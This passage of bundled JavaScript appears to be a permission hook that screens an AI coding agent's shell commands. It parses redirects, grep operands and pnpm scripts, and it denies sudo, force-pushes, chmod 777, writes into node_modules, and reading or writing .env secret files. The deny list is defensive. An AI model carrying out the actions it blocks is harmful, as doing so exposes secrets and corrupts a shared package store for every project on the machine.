\\`pnpm exec <cmd>\\` instead of npm.`;\n	if (sub === \"list\" || sub === \"ls\" || sub === \"ll\" || sub === \"la\") return `${BASE} Use \\`pnpm list\\` instead of npm.`;\n	if (sub === \"why\") return `${BASE} Use \\`pnpm why\\` instead of npm.`;\n	if (sub === \"outdated\") return `${BASE} Use \\`pnpm outdated\\` instead of npm.`;\n	if (sub === \"audit\") return `${BASE} Use \\`pnpm audit\\` instead of npm.`;\n	if (sub === \"update\" || sub === \"up\" || sub === \"upgrade\") return `${BASE} Use \\`pnpm update\\` instead of npm.`;\n	if (sub === \"init\") return `${BASE} Use \\`pnpm init\\` instead of npm.`;\n	if (sub === \"publish\") return `${BASE} Use \\`pnpm publish\\` instead of npm.`;\n	if (sub === \"link\") return `${BASE} Use \\`pnpm link\\` instead of npm.`;\n	if (sub === \"unlink\") return `${BASE} Use \\`pnpm unlink\\` instead of npm.`;\n	if (sub === \"pack\") return `${BASE} Use \\`pnpm pack\\` instead of npm.`;\n	if (sub === \"cache\") return `${BASE} Use \\`pnpm store\\` instead of \\`npm cache\\`.`;\n	if (sub === \"config\" || sub === \"set\" || sub === \"get\") return `${BASE} Use \\`pnpm config\\` instead of npm.`;\n	return `${BASE} Use the equivalent pnpm command instead of npm.`;\n}\n/**\n* Commands whose write destination is the *last* positional argument\n* (`cp src dst`, `mv src dst`, `rsync -a src/ dst/`, `install -m 755 src dst`,\n* `ln -f src dst`).\n*/\nconst LAST_POSITIONAL_DEST = /* @__PURE__ */ new Set([\n	\"cp\",\n	\"mv\",\n	\"rsync\",\n	\"install\",\n	\"ln\"\n]);\n/** Commands where *every* positional is written to (`tee a b`, `truncate -s 0 f`). */\nconst ALL_POSITIONAL_DEST = /* @__PURE__ */ new Set([\"tee\", \"truncate\"]);\n/** `-t DIR` / `--target-directory[=DIR]` -- an explicit destination directory. */\nfunction explicitTargetDirectory(rest) {\n	for (const [i, t] of rest.entries()) {\n		if (t === \"-t\" || t === \"--target-directory\") return rest[i + 1] ?? null;\n		if (t.startsWith(\"--target-directory=\")) return t.slice(19);\n	}\n	return null;\n}\n/** An output operator: `>` or `>>`, optionally after a file descriptor number or `&`. */\nconst OUTPUT_REDIRECT = /^(?:\\d*|&)>{1,2}$/;\nconst OUTPUT_REDIRECT_ATTACHED = /^(?:\\d*|&)>{1,2}(.+)$/;\n/**\n* An input operator: a single `<`, optionally after a file descriptor number.\n* `<<` and `<<<` feed inline text rather than a file, so they are not matched.\n*/\nconst INPUT_REDIRECT = /^\\d*<$/;\nconst INPUT_REDIRECT_ATTACHED = /^\\d*<([^<].*)$/;\n/** The direction of a redirect operator written apart from its target, or null. */\nfunction spacedRedirectDirection(token) {\n	if (OUTPUT_REDIRECT.test(token)) return \"out\";\n	if (INPUT_REDIRECT.test(token)) return \"in\";\n	return null;\n}\n/**\n* Split a command's tokens into its file redirects and every other token, in\n* both the spaced (`> f`, `2> f`, `&> f`, `< f`) and attached (`>f`, `2>>f`,\n* `<f`) spellings. A trailing operator with no target is dropped.\n*\n* Checked for *every* command, not just known write tools: the shell splitter\n* leaves redirect tokens inside the segment, so without this an unrecognized\n* command (`some-generator > node_modules/pkg/index.js`) would sail past a\n* command-keyed rule. Over-capture here is harmless -- a bogus target like\n* `&1` from `2>&1` names neither node_modules nor an env file.\n*/\nfunction splitRedirects(tokens) {\n	const redirects = [];\n	const rest = [];\n	for (let i = 0; i < tokens.length; i++) {\n		const t = tokens[i];\n		const spaced = spacedRedirectDirection(t);\n		if (spaced !== null) {\n			const next = tokens[i + 1];\n			if (next !== void 0) redirects.push({\n				direction: spaced,\n				target: next\n			});\n			i++;\n			continue;\n		}\n		const out = OUTPUT_REDIRECT_ATTACHED.exec(t);\n		if (out) {\n			redirects.push({\n				direction: \"out\",\n				target: out[1]\n			});\n			continue;\n		}\n		const input = INPUT_REDIRECT_ATTACHED.exec(t);\n		if (input) {\n			redirects.push({\n				direction: \"in\",\n				target: input[1]\n			});\n			continue;\n		}\n		rest.push(t);\n	}\n	return {\n		redirects,\n		rest\n	};\n}\n/** The files a command's redirects write to (`direction` \"out\") or read from (\"in\"). */\nfunction redirectTargets(tokens, direction) {\n	return splitRedirects(tokens).redirects.filter((r) => r.direction === direction).map((r) => r.target);\n}\n/**\n* Every path this command would *write to*. Sources are deliberately excluded:\n* reading out of `node_modules` (`cat node_modules/pkg/package.json`,\n* `cp node_modules/pkg/README.md docs/`) is routine and stays allowed. Only the\n* destination side can corrupt anything.\n*/\nfunction writeDestinations(tokens) {\n	const cmd = path.basename(tokens[0] ?? \"\");\n	const rest = tokens.slice(1);\n	const dests = redirectTargets(tokens, \"out\");\n	if (cmd === \"dd\") dests.push(...rest.filter((t) => t.startsWith(\"of=\")).map((t) => t.slice(3)));\n	else if (cmd === \"sed\") {\n		if (rest.some((t) => t === \"--in-place\" || /^-[a-zA-Z]*i/.test(t))) dests.push(...rest.filter((t) => !t.startsWith(\"-\")));\n	} else if (ALL_POSITIONAL_DEST.has(cmd)) dests.push(...rest.filter((t) => !t.startsWith(\"-\")));\n	else if (LAST_POSITIONAL_DEST.has(cmd)) {\n		if (cmd === \"cp\" && rest.includes(\"--remove-destination\")) return dests;\n		const targetDir = explicitTargetDirectory(rest);\n		if (targetDir !== null) dests.push(targetDir);\n		else {\n			const last = rest.findLast((t) => !t.startsWith(\"-\"));\n			if (last !== void 0) dests.push(last);\n		}\n	}\n	return dests;\n}\n/**\n* True when the command writes anything into a `node_modules/` tree.\n*\n* See `targetsNodeModules` for why this is a hard deny rather than a prompt:\n* `node_modules` is hardlinked into pnpm's global content-addressable store, so\n* an in-place overwrite silently corrupts that package for every project on the\n* machine -- and the directory doing the writing looks perfectly fine afterward.\n* The 2026-07-13 store poisoning was exactly this, and it was *human-approved*\n* at the prompt, which is why a `none` result would not have stopped it.\n*/\nfunction writesIntoNodeModules(tokens, ctx) {\n	return writeDestinations(tokens).some((d) => targetsNodeModules(d, ctx.cwd));\n}\n/** Shared by the `node-modules-write` deny rule and the early check in `evaluate.ts`. */\nconst NODE_MODULES_WRITE_REASON = \"Don't write into node_modules/. Its files are hardlinks into pnpm's global store, so overwriting one in place (plain `cp`, `>` redirect, `sed -i`, ...) writes through the link and corrupts that package for every project on this machine -- silently, since the directory you wrote into ends up fine. To test a local build as an installed dependency, run it directly (`node packages/<pkg>/dist/bin.mjs <cmd>`), or install into a scratch tree with an isolated store (`pnpm add --store-dir <scratch> <pkg>`). If you must replace a file in place, `cp --remove-destination` is safe -- it unlinks the target first. Run `pnpm store status` to check whether the store is already damaged.\";\nfunction isChmod777(tokens) {\n	return tokens.some((t) => t === \"777\" || t === \"0777\");\n}\nfunction isGitForcePush(tokens) {\n	const pushIdx = tokens.indexOf(\"push\");\n	if (pushIdx === -1) return false;\n	return tokens.slice(pushIdx + 1).some((t) => t === \"--force\" || t === \"-f\");\n}\n/**\n* Commands whose bare positional arguments are files to read verbatim -- no\n* argument among them is a search pattern the way grep's is.\n*/\nconst ENV_READ_FILE_COMMANDS = /* @__PURE__ */ new Set([\n	\"cat\",\n	\"head\",\n	\"tail\",\n	\"less\",\n	\"more\",\n	\"source\",\n	\".\"\n]);\n/** grep-family commands: their first positional is normally a search pattern, not a file. */\nconst GREP_FAMILY_COMMANDS = /* @__PURE__ */ new Set([\n	\"grep\",\n	\"rg\",\n	\"ag\"\n]);\n/**\n* The file operands of a grep-family (`grep`/`rg`/`ag`) invocation, given its\n* tokens after the command name with redirects already stripped.\n*\n* This walks the tokens instead of filtering positionals and asking \"was a\n* pattern flag present anywhere\" as a single yes/no, because the two pattern\n* flags disagree about what to do with their *own* value once one is found:\n*\n* - `-e`/`--regexp` (bare, or attached as `-eX`/`--regexp=X`) supply the\n*   search pattern directly, so that value is a pattern, never a file, and is\n*   dropped -- `grep -e process.env src/` and `grep -rn -e process.env src/`\n*   must not deny just because the pattern happens to look like a filename,\n*   the same false positive the no-flag case below exists to avoid.\n* - `-f`/`--file` (bare, or attached as `-fX`/`--file=X`) name a *file of\n*   patterns*, which is a real file read, so that value is kept as an\n*   operand -- `grep -f pats.txt .env.local` must still deny on `.env.local`.\n*\n* Absent either flag, the first bare positional is the search pattern and\n* every one after it is a file -- `grep -n \"process.env\" src/x.ts` is the\n* false positive that motivated all of this: the pattern string\n* \"process.env\" matches the `.env` filename pattern just as well as a real\n* path does, so it must never be checked as a file operand.\n*\n* A `--` ends option parsing (see `optionsEnded` below): every token after it\n* is a literal positional even when it looks like `-e` or `-f`, following the\n* same \"first one is the pattern, absent an earlier flag\" rule -- `grep --\n* -e .env` passes `-e` as the pattern and `.env` as the file, and `grep --\n* .env src/x.ts` passes `.env` itself as the pattern (not a file) and\n* `src/x.ts` as the file.\n*/\nfunction grepFileOperands(rest) {\n	const files = [];\n	let patternAccountedFor = false;\n	let optionsEnded = false;\n	for (let i = 0; i < rest.length; i++) {\n		const t = rest[i];\n		if (!optionsEnded && t === \"--\") {\n			optionsEnded = true;\n			continue;\n		}\n		if (!optionsEnded) {\n			if (t === \"-f\" || t === \"--file\") {\n				const value = rest[i + 1];\n				if (value !== void 0) {\n					files.push(value);\n					i++;\n				}\n				patternAccountedFor = true;\n				continue;\n			}\n			if (t.startsWith(\"--file=\")) {\n				files.push(t.slice(7));\n				patternAccountedFor = true;\n				continue;\n			}\n			if (t.startsWith(\"-f\") && t !== \"-f\" && !t.startsWith(\"--\")) {\n				files.push(t.slice(2));\n				patternAccountedFor = true;\n				continue;\n			}\n			if (t === \"-e\" || t === \"--regexp\") {\n				i++;\n				patternAccountedFor = true;\n				continue;\n			}\n			if (t.startsWith(\"--regexp=\") || t.startsWith(\"-e\") && t !== \"-e\" && !t.startsWith(\"--\")) {\n				patternAccountedFor = true;\n				continue;\n			}\n			if (t.startsWith(\"-\")) continue;\n		}\n		if (!patternAccountedFor) {\n			patternAccountedFor = true;\n			continue;\n		}\n		files.push(t);\n	}\n	return files;\n}\n/**\n* Every file a command reads: each input redirect target, on any command,\n* plus the file operands of a `cat`/`head`/`tail`/`less`/`more`/`source`/`.`/\n* `grep`/`rg`/`ag` command. Backs the `env-file-read` rule. grep/rg/ag\n* delegate to `grepFileOperands` (above); every other command named here has\n* no search pattern to exclude, so every bare positional is a file operand.\n* Output redirects are left out: they write, and `env-file-write` owns them.\n*/\nfunction envFileOperands(tokens) {\n	const cmd = path.basename(tokens[0] ?? \"\");\n	const { redirects, rest } = splitRedirects(tokens.slice(1));\n	const operands = redirects.filter((r) => r.direction === \"in\").map((r) => r.target);\n	if (GREP_FAMILY_COMMANDS.has(cmd)) operands.push(...grepFileOperands(rest));\n	else if (ENV_READ_FILE_COMMANDS.has(cmd)) operands.push(...rest.filter((t) => !t.startsWith(\"-\")));\n	return operands;\n}\nconst denyRules = [\n	{\n		name: \"sudo\",\n		match: /^sudo$/,\n		action: \"deny\",\n		reason: \"Don't use sudo. If you need elevated permissions, ask me to do it manually.\"\n	},\n	{\n		name: \"git-force-push\",\n		match: /^git$/,\n		action: \"deny\",\n		when: (tokens) => isGitForcePush(tokens),\n		reason: \"Use `git push --force-with-lease` instead of `--force`.\"\n	},\n	{\n		name: \"git-protected-branch-write\",\n		match: /^git$/,\n		action: \"deny\",\n		when: (tokens, ctx) => movesProtectedRef(tokens, ctx),\n		reason: \"This would move a protected branch (main, master, the remote's default branch, or one listed in .claude/hooks/bst-hook.settings.json#protectedBranches). Work on a feature branch in a worktree: `git worktree add ../<repo>-<topic> -b feat/<topic>`, then commit and push there. To bring `main` up to date, use `git pull --ff-only`.\"\n	},\n	{\n		name: \"chmod-777\",\n		match: /^chmod$/,\n		action: \"deny\",\n		when: (tokens) => isChmod777(tokens),\n		reason: \"Don't use 777 permissions. Use more restrictive permissions.\"\n	},\n	{\n		name: \"node-modules-write\",\n		match: /./,\n		action: \"deny\",\n		when: (tokens, ctx) => writesIntoNodeModules(tokens, ctx),\n		reason: NODE_MODULES_WRITE_REASON\n	},\n	{\n		name: \"env-file-read\",\n		match: /./,\n		action: \"deny\",\n		when: (tokens) => envFileOperands(tokens).some(isEnvFile),\n		reason: \"Don't read .env files. These contain secrets that should not appear in the conversation.\"\n	},\n	{\n		name: \"env-file-write\",\n		match: /./,\n		action: \"deny\",\n		when: (tokens) => redirectTargets(tokens, \"out\").some(isEnvFile),\n		reason: \"Don't write to .env files. These contain secrets.\"\n	},\n	{\n		name: \"npx-redirect\",\n		match: /^npx$/,\n		action: \"deny\",\n		reason: \"This project uses pnpm. Use `pnpm dlx <pkg>` or `pnpm exec <cmd>` instead of npx.\"\n	},\n	{\n		name: \"mise-self-update\",\n		match: /^mise$/,\n		action: \"deny\",\n		when: (tokens) => tokens[1] === \"self-update\",\n		reason: \"Don't self-update mise. The version is Renovate-managed; ask a human to bump the pin.\"\n	}\n];\n\n//#endregion\n//#region src/lib/script-resolver.ts\nconst PackageJsonSchema = object({ scripts: record(string(), unknown()) });\n/**\n* Resolve a pnpm script name to its actual command(s) by reading package.json.\n*\n* Returns null if the script cannot be resolved (missing package.json,\n* missing script name, parse error).\n*/\nfunction resolveScript(scriptName, cwd) {\n	const scripts = readScripts(cwd);\n	if (!scripts) return null;\n	const main = scripts[scriptName];\n	if (typeof main !== \"string\") return null;\n	const pre = scripts[`pre${scriptName}`];\n	const post = scripts[`post${scriptName}`];\n	return {\n		pre: typeof pre === \"string\" ? pre : null,\n		main,\n		post: typeof post === \"string\" ? post : null\n	};\n}\n/**\n* Resolve a script in a specific workspace package identified by --filter.\n*\n* Reads pnpm-workspace.yaml, scans workspace directories to match filterPkg\n* against package.json#name fields, then resolves the script in that package's directory.\n*\n* Returns null if the package or script cannot be resolved.\n*/\nfunction resolveFilteredScript(scriptName, filterPkg, cwd) {\n	const pkgDir = findWorkspacePackageDir(filterPkg, cwd);\n	if (!pkgDir) return null;\n	const script = resolveScript(scriptName, pkgDir);\n	if (!script) return null;\n	return {\n		...script,\n		pkgDir\n	};\n}\n/**\n* Resolve a script name across all workspace packages (for `pnpm -r <script>`).\n*\n* Returns an array of resolved scripts (one per workspace package that defines the script),\n* each with a `pkgDir` field. Returns null if workspace patterns can't be read.\n* Packages that don't define the script are silently skipped.\n*/\nfunction resolveRecursiveScripts(scriptName, rootDir) {\n	const pkgDirs = listWorkspacePackageDirs(rootDir);\n	if (!pkgDirs) return null;\n	const results = [];\n	for (const pkgDir of pkgDirs) {\n		const resolved = resolveScript(scriptName, pkgDir);\n		if (resolved) results.push({\n			...resolved,\n			pkgDir\n		});\n	}\n	return results;\n}\n/**\n* List all workspace package directories.\n*/\nfunction listWorkspacePackageDirs(rootDir) {\n	const patterns = readWorkspacePatterns(rootDir);\n	if (!patterns) return null;\n	const dirs = [];\n	for (const pattern of patterns) {\n		if (!pattern.endsWith(\"/*\")) continue;\n		const baseDir = pattern.slice(0, -2);\n		const parentDir = resolve(rootDir, baseDir);\n		let entries;\n		try {\n			entries = readdirSync(parentDir);\n		} catch {\n			continue;\n		}\n		for (const entry of entries) {\n			const entryDir = join(parentDir, entry);\n			try {\n				if (!statSync(entryDir).isDirectory()) continue;\n			} catch {\n				continue;\n			}\n			dirs.push(entryDir);\n		}\n	}\n	return dirs.length > 0 ? dirs : null;\n}\n/**\n* Find the directory of a workspace package by name.\n* Reads pnpm-workspace.yaml for glob patterns, then scans matching directories.\n*/\nfunction findWorkspacePackageDir(pkgName, rootDir) {\n	const pkgDirs = listWorkspacePackageDirs(rootDir);\n	if (!pkgDirs) return null;\n	for (const entryDir of pkgDirs) {\n		const name = readPackageName(entryDir);\n		if (name === pkgName || name === `@${pkgName}`) return entryDir;\n		if (entryDir.split(\"/\").pop() === pkgName) return entryDir;\n		if (name) {\n			if ((name.startsWith(\"@\") ? name.split(\"/\")[1] : name) === pkgName) return entryDir;\n		}\n	}\n	return null;\n}\n/**\n* Read workspace glob patterns from pnpm-workspace.yaml.\n*/\nfunction readWorkspacePatterns(rootDir) {\n	try {\n		const lines = readFileSync(join(rootDir, \"pnpm-workspace.yaml\"), \"utf-8\").split(\"\\n\");\n		const packagesIdx = lines.findIndex((l) => /^packages\\s*:/.test(l));\n		if (packagesIdx === -1) return null;\n		const patterns = [];\n		for (let i = packagesIdx + 1; i < lines.length; i++) {\n			const line = lines[i];\n			const match = /^\\s+-\\s+(.+)$/.exec(line);\n			if (!match) break;\n			patterns.push(match[1].trim().replace(/['\"`]/g, \"\"));\n		}\n		return patterns.length > 0 ? patterns : null;\n	} catch {\n		return null;\n	}\n}\nconst PackageNameSchema = object({ name: string() });\n/**\n* Read the name field from package.json in the given directory.\n*/\nfunction readPackageName(dir) {\n	try {\n		const raw = readFileSync(join(dir, \"package.json\"), \"utf-8\");\n		const result = PackageNameSchema.safeParse(JSON.parse(raw));\n		if (!result.success) return null;\n		return result.data.name;\n	} catch {\n		return null;\n	}\n}\n/**\n* Read the scripts field from package.json in the given directory.\n* Returns null on any failure (missing file, parse error, no scripts field).\n*/\nfunction readScripts(cwd) {\n	try {\n		const raw = readFileSync(join(cwd, \"package.json\"), \"utf-8\");\n		const result = PackageJsonSchema.safeParse(JSON.parse(raw));\n		if (!result.success) return null;\n		return result.data.scripts;\n	} catch {\n		return null;\n	}\n}\n\n//#endregion\n//#region src/lib/workspace-root.ts\n/**\n* Walk up from `cwd` to the directory holding `pnpm-workspace.yaml`.\n*\n* Its own module rather than a `script-resolver.ts` export because\n* `settings.ts` needs it and `script-resolver.ts` needs `settings.ts`,\n* which is a cycle the health gate reports.\n*/\nfunction findWorkspaceRoot(cwd) {\n	let dir = resolve(cwd);\n	while (true) {\n		if (existsSync(join(dir, \"pnpm-workspace.yaml\"))) return dir;\n		const parent = dirname(dir);\n		if (parent === dir) return null;\n		dir = parent;\n	}\n}\n\n//#endregion\n//#region src/evaluate.ts\nconst MAX_EVAL_DEPTH = 5;\n/**\n* The body of a command that is wholly one subshell -- its first `(` closes at\n* its last character -- or null. `(a) && (b)` is not one subshell: its first\n* `(` closes early. Parentheses inside single or double quotes, or escaped\n* with a backslash, are not counted.\n*/\nfunction subshellBody(command) {\n	if (!command.startsWith(\"(\") || !command.endsWith(\")\")) return null;\n	let depth = 0;\n	let quote = null;\n	for (let i = 0; i < command.length; i++) {\n		const ch = command[i];\n		if (quote !== null) {\n			if (ch === quote) quote = null;\n			else if (ch === \"\\\\\" && quote === \"\\\"\") i++;\n			continue;\n		}\n		if (ch === \"\\\\\") i++;\n		else if (ch === \"'\" || ch === \"\\\"\") quote = ch;\n		else if (ch === \"(\") depth++;\n		else if (ch === \")\") {\n			depth--;\n			if (depth === 0) return i === command.length - 1 ? command.slice(1, -1) : null;\n		}\n	}\n	return null;\n}\n/**\n* Extract the target directory from a `cd <dir>` segment.\n* Returns the resolved absolute path, or null if the segment isn't a simple `cd`.\n*/\nfunction extractCdDir(segment, ctx) {\n	const tokenResult = tokenize(segment);\n	if (!tokenResult.ok || tokenResult.tokens.length !== 2) return null;\n	const tokens = tokenResult.tokens;\n	if (tokens[0] !== \"cd\") return null;\n	const dir = tokens[1];\n	if (path.isAbsolute(dir)) return dir;\n	return path.resolve(ctx.cwd, dir);\n}\n/**\n* Evaluate a full command string. Splits on operators and evaluates each segment.\n*\n* This is the single reentrant entry point. Called at depth 0 for top-level\n* commands and at depth 1+ for derived commands (resolved scripts, exec tails, etc.).\n*/\nfunction evaluateCommand(command, ctx) {\n	if (ctx.depth >= MAX_EVAL_DEPTH) return {\n		action: \"none\",\n		rule: null,\n		reason: \"max evaluation depth exceeded\"\n	};\n	const trimmed = command.trim();\n	if (!trimmed) return {\n		action: \"none\",\n		rule: null,\n		reason: null\n	};\n	const body = subshellBody(trimmed);\n	if (body !== null) return evaluateCommand(body, {\n		...ctx,\n		depth: ctx.depth + 1\n	});\n	const segments = splitCommand(trimmed);\n	if (segments.length === 0) return {\n		action: \"none\",\n		rule: null,\n		reason: null\n	};\n	let firstNone = null;\n	const currentCtx = { ...ctx };\n	for (const segment of segments) {\n		if (segment.operator === \"&&\") {\n			const cdDir = extractCdDir(segment.command, currentCtx);\n			if (cdDir) currentCtx.cwd = cdDir;\n		}\n		const result = evaluateSegment(segment.command, currentCtx);\n		if (result.action === \"deny\") return result;\n		if (!firstNone) firstNone = result;\n	}\n	return firstNone ?? {\n		action: \"none\",\n		rule: null,\n		reason: null\n	};\n}\n/**\n* Helper to evaluate a resolved script with its pre and post hooks.\n*\n* There is no allow tier, so there is nothing to \"trust\" a clean package.json\n* into skipping: every resolved script -- clean or not -- is evaluated for\n* denies the same way a top-level command is. A deny can only get stronger by\n* running the check, never weaker, so there is no safety reason to skip it.\n*/\nfunction evaluateResolvedScript(resolved, ctx) {\n	if (resolved.pre) {\n		const preResult = evaluateCommand(resolved.pre, ctx);\n		if (preResult.action === \"deny\") return preResult;\n	}\n	const mainResult = evaluateCommand(resolved.main, ctx);\n	if (mainResult.action === \"deny\") return mainResult;\n	if (resolved.post) {\n		const postResult = evaluateCommand(resolved.post, ctx);\n		if (postResult.action === \"deny\") return postResult;\n	}\n	return {\n		action: \"none\",\n		rule: null,\n		reason: null\n	};\n}\n/**\n* Evaluate a single command segment (no operators).\n* May recurse into evaluateCommand() for indirection constructs.\n*/\nfunction evaluateSegment(rawSegment, ctx) {\n	const trimmed = rawSegment.trim();\n	const body = subshellBody(trimmed);\n	if (body !== null) return evaluateCommand(body, {\n		...ctx,\n		depth: ctx.depth + 1\n	});\n	if (trimmed.startsWith(\"(\") && trimmed.endsWith(\")\")) return {\n		action: \"none\",\n		rule: null,\n		reason: \"subshell\"\n	};\n	const tokenResult = tokenize(rawSegment);\n	if (!tokenResult.ok) return {\n		action: \"none\",\n		rule: null,\n		reason: tokenResult.error\n	};\n	let tokens = tokenResult.tokens;\n	if (tokens.length === 0) return {\n		action: \"none\",\n		rule: null,\n		reason: null\n	};\n	let envSkipped = 0;\n	while (envSkipped < tokens.length && /^\\w+=/.test(tokens[envSkipped])) envSkipped++;\n	if (envSkipped >= tokens.length) return {\n		action: \"none\",\n		rule: null,\n		reason: null\n	};\n	tokens = tokens.slice(envSkipped);\n	if (writesIntoNodeModules(tokens, ctx)) return {\n		action: \"deny\",\n		rule: \"node-modules-write\",\n		reason: NODE_MODULES_WRITE_REASON\n	};\n	const injection = checkInjection(tokens, rawSegment);\n	if (!injection.safe) return {\n		action: \"none\",\n		rule: null,\n		reason: injection.reason\n	};\n	const SAFE_REDIRECT_TOKENS = /* @__PURE__ */ new Set([\n		\"2>&1\",\n		\"2>/dev/null\",\n		\">/dev/null\",\n		\"1>/dev/null\"\n	]);\n	tokens = tokens.filter((t, i) => {\n		if (SAFE_REDIRECT_TOKENS.has(t)) return false;\n		if ((t === \">\" || t === \">>\") && tokens[i + 1] === \"/dev/null\") return false;\n		if (t === \"/dev/null\" && i > 0 && (tokens[i - 1] === \">\" || tokens[i - 1] === \">>\")) return false;\n		return true;\n	});\n	const cmdName = path.basename(tokens[0]);\n	if (cmdName === \"command\" && tokens.length > 1) return evaluateCommand(joinTokens(tokens.slice(1)), {\n		...ctx,\n		depth: ctx.depth + 1\n	});\n	if (cmdName === \"env\") {\n		let envIdx = 1;\n		while (envIdx < tokens.length && /^\\w+=/.test(tokens[envIdx])) envIdx++;\n		if (envIdx >= tokens.length) return {\n			action: \"none\",\n			rule: null,\n			reason: null\n		};\n		return evaluateCommand(joinTokens(tokens.slice(envIdx)), {\n			...ctx,\n			depth: ctx.depth + 1\n		});\n	}\n	if (cmdName === \"pnpm\") return evaluatePnpm(tokens, ctx);\n	if (cmdName === \"npm\") return evaluateNpm(tokens);\n	if (cmdName === \"mise\" && tokens[1] === \"exec\") {\n		const inner = miseExecInner(tokens);\n		if (!inner) return {\n			action: \"none\",\n			rule: null,\n			reason: \"bare mise exec\"\n		};\n		return evaluateCommand(joinTokens(inner), {\n			...ctx,\n			depth: ctx.depth + 1\n		});\n	}\n	if (cmdName === \"bash\" || cmdName === \"sh\" || cmdName === \"zsh\") return evaluateShellC(tokens, ctx);\n	if (cmdName === \"xargs\") return evaluateXargs(tokens, ctx);\n	if (cmdName === \"node\" && (tokens.includes(\"-e\") || tokens.includes(\"-p\") || tokens.includes(\"--eval\") || tokens.includes(\"--print\"))) return {\n		action: \"none\",\n		rule: null,\n		reason: \"node eval\"\n	};\n	for (const rule of denyRules) if (rule.match.test(cmdName)) {\n		if (!rule.when || rule.when(tokens, ctx)) return {\n			action: \"deny\",\n			rule: rule.name,\n			reason: rule.reason ?? null\n		};\n	}\n	const advice = cmdName === \"git\" ? worktreeAdvice(tokens, ctx) : void 0;\n	return {\n		action: \"none\",\n		rule: null,\n		reason: `no rule matched: ${cmdName}`,\n		...advice ? { advice } : {}\n	};\n}\n/**\n* The inner command of `mise exec [tool@version...] -- <cmd...>`: everything after the `--`\n* separator. `undefined` when there is no `--` (a bare `mise exec` with nothing to unwrap) or\n* nothing follows it.\n*/\nfunction miseExecInner(tokens) {\n	const dashIdx = tokens.indexOf(\"--\");\n	if (dashIdx === -1) return void 0;\n	const inner = tokens.slice(dashIdx + 1);\n	return inner.length > 0 ? inner : void 0;\n}\n/**\n* Scan pnpm subTokens starting at `from`, skipping and accumulating flags\n* (--filter / -F, -r, -w, -C, and generic --flags). Returns the first non-flag\n* token as `name`, or `undefined` if none found. Returns `\"filter\"` as a\n* sentinel when --filter is encountered (caller must handle).\n*/\nfunction scanPnpmFlags(subTokens, from, state) {\n	for (let i = from; i < subTokens.length; i++) {\n		const t = subTokens[i];\n		if (t === \"--filter\" || t.startsWith(\"--filter=\") || t === \"-F\" || t.startsWith(\"-F=\")) return {\n			name: void 0,\n			filterIdx: i\n		};\n		if (t === \"-r\" || t === \"--recursive\") {\n			state.isRecursive = true;\n			continue;\n		}\n		if (t === \"-w\" || t === \"--workspace-root\") {\n			state.isWorkspaceRoot = true;\n			continue;\n		}\n		if (t === \"-C\" || t === \"--dir\") {\n			state.dirOverride = subTokens[++i];\n			continue;\n		}\n		if (t.startsWith(\"-C=\") || t.startsWith(\"--dir=\")) {\n			state.dirOverride = t.split(\"=\", 2)[1];\n			continue;\n		}\n		if (t.startsWith(\"-\") && !PNPM_BUILTINS.has(t)) continue;\n		return { name: t };\n	}\n	return { name: void 0 };\n}\n/**\n* Evaluate a pnpm command. Classifies the subcommand as built-in, exec, or script.\n* Script commands are resolved via package.json and recursively evaluated.\n*/\nfunction evaluatePnpm(tokens, ctx) {\n	const subTokens = tokens.slice(1);\n	const state = {\n		isRecursive: false,\n		isWorkspaceRoot: false,\n		dirOverride: void 0\n	};\n	const scan = scanPnpmFlags(subTokens, 0, state);\n	if (scan.filterIdx !== void 0) return evaluatePnpmFilter(tokens, subTokens, scan.filterIdx, ctx);\n	const subcommand = scan.name;\n	const subcommandIdx = subcommand ? subTokens.indexOf(subcommand) : -1;\n	if (!subcommand) return {\n		action: \"none\",\n		rule: null,\n		reason: null\n	};\n	if (subcommand === \"dlx\") return {\n		action: \"none\",\n		rule: null,\n		reason: \"pnpm dlx\"\n	};\n	if (subcommand === \"add\") return {\n		action: \"none\",\n		rule: null,\n		reason: \"pnpm add\"\n	};\n	if (subcommand === \"exec\") {\n		const execArgs = subTokens.slice(subcommandIdx + 1);\n		if (execArgs.length === 0) return {\n			action: \"none\",\n			rule: null,\n			reason: \"bare pnpm exec\"\n		};\n		return evaluateCommand(joinTokens(execArgs), {\n			...ctx,\n			depth: ctx.depth + 1\n		});\n	}\n	let scriptName;\n	let { isRecursive, isWorkspaceRoot, dirOverride } = state;\n	if (subcommand === \"run\") {\n		const runScan = scanPnpmFlags(subTokens, subcommandIdx + 1, state);\n		({isRecursive, isWorkspaceRoot, dirOverride} = state);\n		if (runScan.filterIdx !== void 0) return evaluatePnpmFilter(tokens, subTokens, runScan.filterIdx, ctx);\n		if (!runScan.name) return {\n			action: \"none\",\n			rule: null,\n			reason: \"pnpm run without script name\"\n		};\n		scriptName = runScan.name;\n	} else if (!PNPM_BUILTINS.has(subcommand)) scriptName = subcommand;\n	else return {\n		action: \"none\",\n		rule: null,\n		reason: null\n	};\n	if (isRecursive) return evaluatePnpmRecursive(scriptName, ctx);\n	if (isWorkspaceRoot) {\n		const root = findWorkspaceRoot(ctx.cwd);\n		if (!root) return {\n			action: \"none\",\n			rule: null,\n			reason: \"workspace root not found\"\n		};\n		return evaluatePnpmScript(scriptName, {\n			...ctx,\n			cwd: root\n		});\n	}\n	if (dirOverride) {\n		const resolved = path.resolve(ctx.cwd, dirOverride);\n		return evaluatePnpmScript(scriptName, {\n			...ctx,\n			cwd: resolved\n		});\n	}\n	return evaluatePnpmScript(scriptName, ctx);\n}\n/**\n* Resolve a pnpm script name via package.json and recursively evaluate\n* the resolved command(s) including pre/post scripts.\n*/\nfunction evaluatePnpmScript(scriptName, ctx) {\n	const resolved = resolveScript(scriptName, ctx.cwd);\n	if (!resolved) return {\n		action: \"none\",\n		rule: null,\n		reason: \"script resolution failed\"\n	};\n	const res = evaluateResolvedScript(resolved, {\n		...ctx,\n		depth: ctx.depth + 1\n	});\n	if (res.action === \"deny\") return res;\n	return {\n		action: \"none\",\n		rule: `pnpm-script:${scriptName}`,\n		reason: null\n	};\n}\n/**\n* Evaluate `pnpm -r <script>` by resolving the script in each workspace package.\n*\n* Unlike `evaluatePnpmScript` (which resolves from the root package.json and would\n* cycle back to `pnpm -r <script>`), this resolves against each workspace package's\n* own package.json, breaking the recursion.\n*/\nfunction evaluatePnpmRecursive(scriptName, ctx) {\n	const resolved = resolveRecursiveScripts(scriptName, ctx.cwd);\n	if (!resolved || resolved.length === 0) return {\n		action: \"none\",\n		rule: null,\n		reason: \"pnpm recursive\"\n	};\n	for (const pkg of resolved) {\n		const res = evaluateResolvedScript(pkg, {\n			...ctx,\n			depth: ctx.depth + 1,\n			cwd: pkg.pkgDir ?? ctx.cwd\n		